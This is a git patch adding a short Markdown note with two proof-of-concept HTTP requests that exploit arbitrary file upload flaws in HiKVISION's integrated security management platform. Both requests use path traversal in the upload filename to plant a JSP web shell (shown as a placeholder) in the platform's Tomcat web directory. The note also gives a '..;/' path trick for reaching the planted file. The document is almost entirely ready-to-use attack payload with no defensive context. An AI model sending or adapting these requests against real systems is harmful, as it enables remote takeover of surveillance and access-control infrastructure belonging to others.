From 0ac1472d774bd21501d8200f137fcd5eb6fe68dd Mon Sep 17 00:00:00 2001
From: wy876 <139549762+wy876@users.noreply.github.com>
Date: Sat, 19 Aug 2023 20:24:20 +0800
Subject: [PATCH] =?UTF-8?q?Create=20HiKVISION=20=E7=BB=BC=E5=90=88?=
 =?UTF-8?q?=E5=AE=89=E9=98=B2=E7=AE=A1=E7=90=86=E5=B9=B3=E5=8F=B0=20?=
 =?UTF-8?q?=E4=BB=BB=E6=84=8F=E6=96=87=E4=BB=B6=E4=B8=8A=E4=BC=A0=E6=BC=8F?=
 =?UTF-8?q?=E6=B4=9E.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...ISION 综合安防管理平台 任意文件上传漏洞.md | 32 +++++++++++++++++++
 1 file changed, 32 insertions(+)
 create mode 100644 HiKVISION 综合安防管理平台 任意文件上传漏洞.md

diff --git a/HiKVISION 综合安防管理平台 任意文件上传漏洞.md b/HiKVISION 综合安防管理平台 任意文件上传漏洞.md
new file mode 100644
index 0000000..67474e9
--- /dev/null
+++ b/HiKVISION 综合安防管理平台 任意文件上传漏洞.md	
@@ -0,0 +1,32 @@
+## HiKVISION 综合安防管理平台 report 任意文件上传漏洞
+
+```
+POST /svm/api/external/report HTTP/1.1
+Host: 10.10.10.10
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9PggsiM755PLa54a
+
+------WebKitFormBoundary9PggsiM755PLa54a
+Content-Disposition: form-data; name="file"; filename="../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps/eportal/new.jsp"
+Content-Type: application/zip
+
+<%jsp的马%>
+
+------WebKitFormBoundary9PggsiM755PLa54a--
+
+马儿路径：/portal/ui/login/..;/..;/new.jsp
+
+```
+
+## HiKVISION 综合安防管理平台 files 任意文件上传漏洞
+```
+POST /center/api/files;.html HTTP/1.1
+Host: 10.10.10.10
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9PggsiM755PLa54a
+
+------WebKitFormBoundary9PggsiM755PLa54a
+Content-Disposition: form-data; name="file"; filename="../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps/eportal/new.jsp"
+Content-Type: application/zip
+
+<%jsp的马%>
+------WebKitFormBoundary9PggsiM755PLa54a--
+```